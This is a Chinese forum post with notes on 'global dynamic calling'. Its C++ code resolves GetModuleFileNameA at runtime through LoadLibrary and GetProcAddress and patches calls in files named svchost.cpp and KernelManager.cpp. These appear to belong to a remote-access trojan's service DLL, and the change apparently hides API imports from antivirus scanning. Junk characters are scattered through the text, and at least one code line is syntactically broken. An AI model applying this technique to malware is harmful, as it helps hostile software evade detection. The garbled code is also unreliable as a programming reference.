[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
) K0 e- |3 P/ h1 C2 J& N: `svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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#if _MSC_VER>1000$ i* H: Q9 [$ m; b
#pragma once) T/ G( W8 O* o" ~- f( Y: S4 Y
#endif //_MSC_VER>1000" F  B+ r9 Z: I
#include<windows.h>$ d) A- q. X5 x+ u) s/ i

# S2 N9 L7 O( itypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
$ [; R7 n, x: l8 L: t( tclass DTDY) \' b. f* \5 X
{
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DTDY();4 i2 Q2 k5 R3 y
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;9 G, L7 V( V2 m; T8 e; A  w- `
static BOOL FunInitiallization();  q0 b0 z. G/ d0 [$ d  ?! W
};7 s; v4 g. D" S3 O' @
#endif
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DTDY.cpp:/ w' {6 T5 s7 x

% }# o0 }( ]) _# B2 Q0 H. M. y#include "DTDY.h"
% ?, g1 X6 _6 k) I- ]pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
* ]- N/ {5 Q4 IDTDY:TDY()
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DTDY::~DTDY()# v) R9 E! ]( D# C. a
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}
8 L% S2 c- x# ]) ]8 ^: V3 pBOOL DTDY::FunInitiallization()
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: |/ E- X% [! c) nHMODULE hModule=LoadLibrary("kernel32.dll");0 E5 j6 H# Z1 i4 q" [8 ]8 ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, E# h* i; f) e% A/ Dif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
& k! X0 T8 ]' `+ l; ^/ ~}
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7 }2 M+ F9 \# R: T( H& Xsvchost.cpp:
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#include "DTDY.h": U2 \, H) @5 g2 ~- T) x
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:/ `, a1 _' T6 J" ?9 E: z
if(!DTDY::FunInitiallization()) return FALSE;6 a+ q# V, S: i$ R' O. r

- \; ?( x0 y, Y+ l1 O" Zbreak;
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}
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; x5 C; O3 p% |1 i* Q( l% rGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));0 C  v. \% h+ ~) z
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KernelManager.cpp:
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, K! d0 g7 I% I- d#include "../DTDY.h"
! A+ m9 T$ g1 \2 I/ Q/ nGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ R, _$ P3 S  d4 f8 s4 f1 h
改写为
2 z% Q, ^3 s  z4 mDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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